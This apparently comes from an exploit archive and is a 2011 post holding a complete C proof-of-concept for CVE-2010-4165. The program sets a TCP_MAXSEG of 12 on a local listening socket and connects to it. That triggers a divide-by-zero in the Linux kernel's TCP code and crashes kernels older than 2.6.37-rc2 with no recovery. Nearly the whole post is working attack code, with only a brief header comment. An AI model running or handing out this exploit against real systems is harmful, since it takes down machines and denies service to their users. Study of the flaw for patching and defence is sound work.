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Linux Kernel 2.6 TCP_MAXSEG Denial Of Service

Posted on 10 March 2011

/*
* TCP_MAXSEG Kernel Panic DoS for Linux < 2.6.37-rc2
* by zx2c4
*
* This exploit triggers CVE-2010-4165, a divide by zero
* error in net/ipv4/tcp.c. Because this is on the softirq
* path, the kernel oopses and then completely dies with
* no chance of recovery. It has been very reliable as a
* DoS, but is not useful for triggering other bugs.
*
* -zx2c4, 28-2-2011
*/

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>

int main()
{
struct sockaddr_in laddr;
memset(&laddr, 0, sizeof(laddr));
laddr.sin_family = AF_INET;
laddr.sin_addr.s_addr = inet_addr("127.0.0.1");
laddr.sin_port = htons(31337);
int listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (listener < 0) {
printf("[-] Could not open listener.
");
return -1;
}
int val = 12;
if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) {
printf("[-] Could not set sockopt.
");
return -1;
}
if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
printf("[-] Could not bind to address.
");
return -1;
}
if (listen(listener, 1) < 0) {
printf("[-] Could not listen.
");
return -1;
}
int hello = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (hello < 0) {
printf("[-] Could not open connector.
");
return -1;
}
if (connect(hello, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
printf("[-] Could not connect to listener.
");
return -1;
}
printf("[-] Connection did not trigger oops.
");
return 0;
}

 

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